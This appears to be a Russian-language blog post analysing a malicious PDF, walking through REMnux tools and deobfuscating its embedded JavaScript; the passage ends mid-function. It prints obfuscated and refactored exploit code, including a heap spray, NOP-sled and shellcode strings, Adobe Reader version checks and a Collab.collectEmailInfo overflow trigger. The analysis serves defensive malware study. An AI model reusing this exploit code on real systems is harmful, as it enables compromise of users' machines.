{"id":209110,"date":"2014-01-15T09:48:03","date_gmt":"2014-01-15T05:48:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=209110"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=209110","title":{"rendered":"<span class=\"post_title\">\u0410\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 PDF \u0444\u0430\u0439\u043b\u043e\u0432<\/span>"},"content":{"rendered":"<div class=\"content html_format\">   \t\u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u043d\u0430\u0437\u0430\u0434 \u044f \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435\u0439 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e pdf \u0444\u0430\u0439\u043b\u0430. \u041a \u0441\u043b\u043e\u0432\u0443 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u043e\u0431\u044b\u0447\u043d\u043e \u044f \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0441\u044c \u0430\u043d\u0430\u043b\u0438\u0437\u043e\u043c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0431 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0431, \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0441\u044c \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u043c \u0432 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 malware analysis, \u043d\u043e \u0441\u043b\u0443\u0447\u0430\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0441\u044f \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u043d\u044b\u0439.<\/p>\n<p>  \u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c\u0441\u044f \u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0435 Remnux, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432 \u0446\u0435\u043b\u044f\u0445 reverse engineering malware. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0441\u0430\u043c\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u0435\u0431\u0435 \u043e\u0431\u0440\u0430\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b \u0434\u043b\u044f VirtualBox \u0438\u043b\u0438 Vmware.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u044f \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 pdfid:<\/p>\n<p>  <code>PDF Header: %PDF-1.3 obj 11 endobj 11 stream 4 endstream 4 xref 1 trailer 1 startxref 1 \/Page 1 \/Encrypt 0 \/ObjStm 0 \/JS 1 \/JavaScript 1 \/AA 0 \/OpenAction 1 \/AcroForm 0 \/JBIG2Decode 0 \/RichMedia 0 \/Launch 0 \/EmbeddedFile 0 \/XFA 0 \/Colors &gt; 2^24 0<\/code><\/p>\n<p>  \u0421\u0440\u0430\u0437\u0443 \u0436\u0435 \u043e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 OpenAction \u0438 Javascript. \u0414\u0430\u043b\u044c\u0448\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b pdf-parser \u0434\u043b\u044f \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0430 \u0444\u0430\u0439\u043b\u0430:<\/p>\n<p>  <code>obj 1 0 Type: \/Catalog Referencing: 2 0 R, 4 0 R &lt;&lt;  \/Type \/Catalog \/PageLayout \/SinglePage \/Pages 2 0 R \/OpenAction 4 0 R &gt;&gt; <\/code><\/p>\n<p>  \u041e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e OpenAction \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 Javascript \u0432 4 \u043e\u0431\u044a\u0435\u043a\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c Flatedecode \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c 5:<\/p>\n<p>  <code>obj 4 0 Type: \/Action Referencing: 5 0 R &lt;&lt;  \/Type \/Action \/S \/JavaScript \/JS 5 0 R &gt;&gt;  obj 5 0 Type:  Referencing:  Contains stream &lt;&lt;  \/Length 394 \/Filter \/FlateDecode &gt;&gt; <\/code><\/p>\n<p>  \u0414\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b javascript \u043a\u043e\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0441\u0435 \u0442\u043e\u0433\u043e \u0436\u0435 pdf-parser:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habr.habrastorage.org\/post_images\/76c\/ecf\/7f4\/76cecf7f4d1f2a02f3c61c985fc6bee1.png\"\/><\/p>\n<p>  \u041f\u0440\u0438\u0432\u0435\u043b \u043a \u0443\u0434\u043e\u0431\u043d\u043e\u043c\u0443 \u0432\u0438\u0434\u0443, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f js-beautify:<\/p>\n<p>  <code>var sum = ''; var duct = 300; var os = &quot;&quot;; var pr = null; var num = 1; var func = 'd'; app.doc.syncAnnotScan(); if (app.plugIns.length &lt; 1) { func += &quot;4&quot;; num = 0; } if (!(app.plugIns.length &lt; 0)) { var xnm = { nPage: 0 }; pr = app.doc.getAnnots(xnm); sum = pr[num].subject; } if (app.plugIns.length &gt; 2) { var buf = sum.split(\/-\/); var ap = this; var acc = ap [ &quot;une&quot; + &quot;sca&quot; + &quot;pe&quot; ]; var src = String [&quot;fromC&quot;+&quot;harC&quot;+&quot;ode&quot; ]; for (var n = 0; n &lt; buf.length-1; n++) os += acc( src(37) + buf[n+1] ); func = &quot;&quot;; if (app.plugIns.length &gt; 0) { if (!(app.plugIns.length &gt; 0)) { func += &quot;abd&quot;; num = 123; } num = 0; ap ['ev' + func + src(77+20) + &quot;l&quot; ](os); num = 0; } } <\/code><\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habr.habrastorage.org\/post_images\/8a3\/4b4\/90a\/8a34b490a8960e3ed9095aa43e613601.png\"\/><\/p>\n<p>  \u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u0438\u043c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2009-1492, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043e\u0442\u043a\u0430\u0437\u0430 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 Adobe Reader \u0438 Adobe Acrobat \u0432\u0435\u0440\u0441\u0438\u0439 9.1, 8.1.4, 7.1.1 \u0438 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e pdf \u0444\u0430\u0439\u043b\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e annotaion \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0433\u043e \u043c\u0435\u0442\u043e\u0434 getAnnots. \u041d\u043e \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u043e\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435, \u0441 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c exploit-\u043e\u043c, \u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u043a \u0442\u0435\u043a\u0443\u0449\u0435\u043c\u0443 \u0441\u043b\u0443\u0447\u0430\u044e. \u0412 \u043d\u0430\u0448\u0435\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0435 annotaion \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432 \u0446\u0435\u043b\u044f\u0445 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438.<\/p>\n<p>  \u0414\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 annotaion \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043c getAnnots \u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u043e\u0431\u044a\u0435\u043a\u0442\u0435 9 \u043d\u0430\u0448\u0435\u0433\u043e \u0444\u0430\u0439\u043b\u0430(\u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043b pdfparser). \u0421\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 javascript \u043a\u043e\u0434, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u043a \u043d\u0435\u043c\u0443 \u043f\u043e\u0442\u043e\u043a \u0438\u0437 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 9. \u041e\u0431\u044b\u0447\u043d\u043e, \u043f\u0435\u0440\u0432\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043c\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u044b\u043c alert \u0438\u043b\u0438 console.log \u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430. \u0422\u0430\u043a\u0436\u0435 \u0432 \u044d\u0442\u0438\u0445 \u0446\u0435\u043b\u044f\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Spidermonkey. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043d\u0430\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0443\u0436\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0432 \u0444\u0430\u0439\u043b\u0435 pre.js, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0435 Remnux. <\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habr.habrastorage.org\/post_images\/686\/ef5\/637\/686ef56377e14e56fd44c93d5c1c0e09.png\"\/><\/p>\n<p>  \u041d\u0435\u043f\u043b\u043e\u0445\u043e. \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 Spidermonkey \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0438 \u043f\u043e\u0442\u043e\u043a \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 7:<\/p>\n<p>  <code>function LnX6eI__qBoDrb5(Xj__TJe_0_j, Sut0_yx_4){ var O_6__t8 = 20; var LK__SC__k = 0; var Yf2_7661XQk3t = 512; var M__D2__r_5_I7_D = O_6__t8; var k12_hf_0p2_30aB = &quot;&quot;; var m57_Ww_VVKg = 4; var P_A7_cf7J = this ; var uvD2__e0__4W = &quot;1234ee&quot;; var Ja4_hF_A41Ch510 = arguments; try { var YNS0B64n__I_E = 0; if (app){ M__D2__r_5_I7_D = M__D2__r_5_I7_D + 2; Sut0_yx_4 = pr[YNS0B64n__I_E].subject; } uvD2__e0__4W = uvD2__e0__4W.replace(\/\\d+\/, &quot;call&quot;); } catch (e){ } \u2026. LnX6eI__qBoDrb5(0, &quot;b02h8a6b5h47a7a0353ha0agbe863926927d6i399fc16014550ebd6516171b6e243d5c5gcd4073a1795jaf7f5348a8aa58953eab208d36cfb6c765479dcab32g4e221f3727140i4hc9667ha1bh8ca1ba9g6003cc439f082042074e10150g7j3h8e..... \u2026. &quot;);<\/code><br \/>  \u041f\u043e\u0441\u043b\u0435 \u0440\u0435\u0444\u0430\u043a\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c:<br \/>  <code>function func_01(arg_0, arg_1) {  var v0 = 20;  var v1 = 0;  var v2 = 512;  var v3 = v0;  var v4 = &quot;&quot;;  var v5 = 4;  var v6 = this;  var v7 = &quot;1234ee&quot;;  var v8 = arguments;  try {  var v9 = 0;  if (app) {  v3 = v3 + 2;  arg_1 = pr[v9].subject;  }  v7 = v7.replace(\/\\d+\/, &quot;call&quot;);  } catch (e) {}  v3 = v3 - v0;  var v10 = new Array();  var v11 = 150;  if (v11 &gt; 0) {  v10[0] = v11;  v10[1] = v2;  v10[0] = v10[0] - v11;  v10[2] = v10[0];  v10[1] = v10[1] - v2;  v10[3] = v10[1];  }  if (arg_0) {  v10 = arg_0;  }  if (!arg_0) {  var v12 = v8[v7].toString(); \/\/arguments.callee.toString();  var v13 = 0;  var v14 = v13;  v11 = v11 - 102; \/\/150 \u2013 102 = 48 var v15 = 0;  while (v14 &lt; v12.length) { \/\/while(0&lt;arguments.callee.toString().length);  v15 = v12.charCodeAt(v14); \/\/ arguments.callee.toString().charCodeAt(0); if (v15 &gt;= v11 && v15 &lt;= 57) {  if (v13 == v5) {  v13 = -1;  }  if (v13 &lt; 0) {  v13 = 0;  }  v10[v13] += v15;  if (v10[v13] &gt; v2) {  v10[v13] -= v2;  }  v13 = v13 + 1;  }  v14 = v14 + 1;  }  }  var v16 = 0;  var v17 = 0;  var v18 = -1;  var v19 = 0;  var v20 = 0;  do {  var v21 = 256;  if (v10[v19] &gt; v21) {  v10[v19] -= v21;  }  v19 = v19 + 1;  } while (v19 &lt; v5);  v19 = v19 - v5;  while (v19 &lt; arg_1.length) {  var v22 = arg_1.substr(v19, 1) + ' V V ';  v19 = v19 + 1;  var v23 = parseInt(v22, v0);  if (v18 != -1) {  v17 += v23;  if (v16 == v5) {  v16 = 0;  }  var v24 = v17;  v24 = v24 - (v20 + 2) * v10[v16];  if (v24 &lt;= 0) {  v24 = v24 - Math.floor(v24 \/ 256) * 256;  }  v24 = String.fromCharCode(v24);  if (v3 == 1) {  v4 += v23;  } else if (v3 == 2) {  v4 += v24;  } else {  v4 += v19;  v18 = -2;  }  v18 = -1;  v16 = v16 + 1;  v20 = v20 + 1;  } else if (v18 == -1) {  v18 = v0;  v17 = v23 * v0;  }  }  var v25 = this;  v25['eval'](v4);  }  func_01(0, &quot;b02h8a...... \u2026.<\/code><\/p>\n<p>  \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0432\u0435\u0449\u044c \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u0441\u043a\u0440\u044b\u0442\u0430 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 var v12 \u2013 \u044d\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f arguments.callee. Arguments.callee \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0432\u044b\u0437\u043e\u0432 \u0441\u0430\u043c\u043e\u0439 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043c\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u044d\u0442\u043e\u0442 \u043a\u043e\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0430\u043c \u0441\u0435\u0431\u044f \u0432 \u0446\u0435\u043b\u044f\u0445 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438. \u0422\u043e \u0435\u0441\u0442\u044c \u0435\u0441\u043b\u0438 \u0432\u044b \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442\u0435 \u0447\u0442\u043e \u0442\u043e \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u043a\u043e\u0434\u0435 (\u043a\u0430\u043a \u044f \u0434\u0435\u043b\u0430\u043b \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438 \u0440\u0435\u0444\u0430\u043a\u0442\u043e\u0440\u0438\u043d\u0433\u0435 \u0438\u043b\u0438 \u0437\u0430\u043c\u0435\u043d\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u043d\u0430 alert) \u0432\u044b \u0441\u043b\u043e\u043c\u0430\u0435\u0442\u0435 \u0432\u0441\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438. \u041d\u043e \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u0447\u0430\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u0421\u0442\u0430\u0442\u044c\u0438, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438: isc.sans.org\/diary\/Browser+*does*+matter%2C+not+only+for+vulnerabilities+-+a+story+on+JavaScript+deobfuscation\/1519, isc.sans.edu\/diary\/Static+analysis+of+malicous+PDFs+%28Part+%232%29\/7906 \u0438 <a href=\"http:\/\/www.nobunkum.ru\/ru\/flash\">www.nobunkum.ru\/ru\/flash<\/a> (\u043e\u0442 \u0410\u043b\u0438\u0441\u044b \u0428\u0435\u0432\u0447\u0435\u043d\u043a\u043e).<\/p>\n<p>  \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u044b\u0437\u043e\u0432 arguments.callee.toString().length \u043d\u0430 \u0434\u043b\u0438\u043d\u0443 \u0441\u0430\u043c\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438 \u0438\u0434\u0442\u0438 \u0434\u0430\u043b\u044c\u0448\u0435, \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u0432\u044b\u0437\u043e\u0432 arguments.callee.toString().charCodeAt(0) \u043f\u0435\u0440\u0432\u044b\u043c \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u043c \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 \u043d\u0430\u0448\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.<\/p>\n<p>  \u041d\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u0441\u044c \u043a\u043e\u0434, \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0441 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0441\u0435 \u0442\u043e\u0433\u043e \u0436\u0435 spidermonkey \u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f jsunpack.<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage3\/3d0\/e33\/3e8\/3d0e333e8aba4e17eeab68bbe91661c8.png\"\/><\/p>\n<p>  \u0424\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u0442\u0430\u043a: <\/p>\n<p>  <code>var C__IC5 = new Array(); var c__fqx1kX_j7_o = 0; var f520T_5lgB_18Rk = &quot;&quot;; function ki1K8ydoVI_X_f(E81L1G8LUs4H, a5_G7_Y){ var M5Klbt_L = a5_G7_Y.toString(); var UY__3N = &quot;&quot;; \u2026. if (app.viewerVersion == 9.103 && xr_1d__1g_Y &lt; 9.13){ xr_1d__1g_Y = 9.13; } if (!(xr_1d__1g_Y &lt; 9 || xr_1d__1g_Y &gt;= 9.2) || !(xr_1d__1g_Y &lt; 8 || xr_1d__1g_Y &gt;= 8.17) || !(xr_1d__1g_Y &lt; 7 || xr_1d__1g_Y &gt;= 7.14)){ Y8tju_86jgt_g7d(xr_1d__1g_Y); }<\/code><br \/>  \u041f\u043e\u0441\u043b\u0435 \u0440\u0435\u0444\u0430\u043a\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b:<br \/>  <code>var gvar_0 = new Array();  var gvar_1 = 0;  var gvar_2 = &quot;&quot;;  function func_01(arg_0, arg_1) {  var v0 = arg_1.toString();  var v1 = &quot;&quot;;  for (var v2 = 0; v2 &lt; v0.length; v2++) {  var v3 = parseInt(v0.substr(v2, 1));  if (!isNaN(v3)) {  v3 = v3.toString(16);  if (v3.length == 1) {  v3 = &quot;0&quot; + v3;  } else if (v3.length != 2) {  v3 = &quot;00&quot;;  }  v1 = v3 + v1;  }  }  while (v1.length &lt; 8) {  v1 = &quot;0&quot; + v1;  }  var v4 = arg_0.toString(16);  if (v4.length == 1) {  v4 = &quot;0&quot; + v4;  } else if (v4.length != 2) {  v4 = &quot;00&quot;;  }  v1 = &quot;3&quot; + v4 + &quot;P&quot; + v1;  return v1;  }  function func_02(arg_0, arg_1) {  var v0 = new Array(&quot;&quot;);  var v1 = arg_0;  var x3l3Y5Us4__3;  if ((x3l3Y5Us4__3 = arg_0.lastIndexOf(&quot;%u00&quot;)) != -1) {  if (x3l3Y5Us4__3 + 6 == arg_0.length) {  v0[0] = arg_0.substr(x3l3Y5Us4__3 + 4, 2);  v1 = arg_0.substring(0, x3l3Y5Us4__3);  }  }  x3l3Y5Us4__3 = 1;  for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr &lt; arg_1.length; fr___rItg7HCnRr++) {  var v2 = arg_1.charCodeAt(fr___rItg7HCnRr).toString(16);  if (v2.length == 1) {  v2 = &quot;0&quot; + v2;  }  v0[x3l3Y5Us4__3] = v2;  x3l3Y5Us4__3++;  }  fr___rItg7HCnRr = v0[0].length ? 0 : 1;v0[x3l3Y5Us4__3] = &quot;00&quot;;v0[x3l3Y5Us4__3 + 1] = &quot;00&quot;;x3l3Y5Us4__3 += 2;  if ((v0.length - fr___rItg7HCnRr) % 2) {  v0[x3l3Y5Us4__3] = &quot;00&quot;;  }  while (fr___rItg7HCnRr &lt; v0.length) {  v1 += &quot;%u&quot; + v0[fr___rItg7HCnRr + 1] + v0[fr___rItg7HCnRr];  fr___rItg7HCnRr += 2;  }  v1 += &quot;%u0000&quot;;  return v1;  }  function func_03(arg_0, arg_1) {  while (arg_0.length * 2 &lt; arg_1) {  arg_0 += arg_0;  }  arg_0 = arg_0.substring(0, arg_1 \/ 2);  return arg_0;  }  function func_04(arg_0, arg_1, gvar_3) {  var v0 = 0x0c0c0c0c;  var v1 = unescape(arg_1);  var v2 = func_01(arg_0, arg_2);  var v3 = unescape(&quot;%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51..... \u2026.  var v4 = &quot;%u9050%u9050%u9050%u9050%u9090%u9090%u9090%u9090%u9090%u00e8%u0000%ueb00%ue900%u00fc%u0000%u645f%u30a1%u0000%u7800%u8b0c%u0c40%u708b%uad1c%..... \u2026.. app.b5t8_3a = unescape(func_02(v4, v2));  var v5 = 0x400000;  var v6 = v3.length * 2;  var v7 = v5 - (v6 + 0x38);  v1 = func_03(v1, v7);  var v8 = (v0 - 0x400000) \/ v5;  for (var v9 = 0; v9 &lt; v8; v9++) {  gvar_0[v9] = v1 + v3;  }  }  function func_05() {  var v0 = &quot;&quot;;  for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr &lt; 12; fr___rItg7HCnRr++) {  v0 += unescape(&quot;%u0c0c%u0c0c&quot;);  }  var v1 = &quot;&quot;;  for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr &lt; 750; fr___rItg7HCnRr++) {  v1 += v0;  }  this.collabStore = Collab.collectEmailInfo({  subj: &quot;&quot;,  msg: v1 });  app.clearTimeOut(gvar_1);  }  function func_06(arg_0) {  var v0 = gvar_1;  if ((arg_0 &gt;= 8 && arg_0 &lt; 8.11) || arg_0 &lt; 7.1) {  func_04(23, &quot;%u0c0c%u0c0c&quot;, arg_0);  